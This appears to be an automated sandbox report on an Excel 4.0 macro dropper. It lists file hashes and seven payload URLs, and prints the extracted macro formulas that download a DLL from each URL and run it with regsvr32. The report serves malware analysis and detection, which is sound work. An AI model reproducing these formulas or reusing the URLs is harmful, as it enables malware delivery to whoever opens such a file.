General

  • Target

    fcfb6c95e84d9f0ae6970ec4d295320cb35ff90fa2640017675b53a28743f33c

  • Size

    20KB

  • Sample

    241120-v8wldszdnf

  • MD5

    ce5a7092dc179b86fd4dbb61b55f1dff

  • SHA1

    7d7e9221a4b7e2e26e32eb94c67d76873ae3f1f5

  • SHA256

    fcfb6c95e84d9f0ae6970ec4d295320cb35ff90fa2640017675b53a28743f33c

  • SHA512

    d0099af63c27fb0063df43e7938ce030bc42ea45254bab26a939fd2888c2d172a11664a1c7e3d881aad42a8c80f8f19ddba4193de95efdb1c936b0c96e46db75

  • SSDEEP

    384:SQZAVb1GNjJITo4CGzPd6ZIwVKb5CzgObff9kC+xbX7zL0crX:STINqTo4FL3CBn9kC+xbLHjj

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/

http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/

http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/

http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/

http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/

http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/

http://autoat.mx/assets/VljikBuT029PkSBfrc/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://autoat.mx/assets/VljikBuT029PkSBfrc/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/

xlm40.dropper

http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/

xlm40.dropper

http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/

xlm40.dropper

http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/

xlm40.dropper

http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/

xlm40.dropper

http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/

xlm40.dropper

http://autoat.mx/assets/VljikBuT029PkSBfrc/

Targets

    • Target

      fcfb6c95e84d9f0ae6970ec4d295320cb35ff90fa2640017675b53a28743f33c

    • Size

      20KB

    • MD5

      ce5a7092dc179b86fd4dbb61b55f1dff

    • SHA1

      7d7e9221a4b7e2e26e32eb94c67d76873ae3f1f5

    • SHA256

      fcfb6c95e84d9f0ae6970ec4d295320cb35ff90fa2640017675b53a28743f33c

    • SHA512

      d0099af63c27fb0063df43e7938ce030bc42ea45254bab26a939fd2888c2d172a11664a1c7e3d881aad42a8c80f8f19ddba4193de95efdb1c936b0c96e46db75

    • SSDEEP

      384:SQZAVb1GNjJITo4CGzPd6ZIwVKb5CzgObff9kC+xbX7zL0crX:STINqTo4FL3CBn9kC+xbLHjj

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks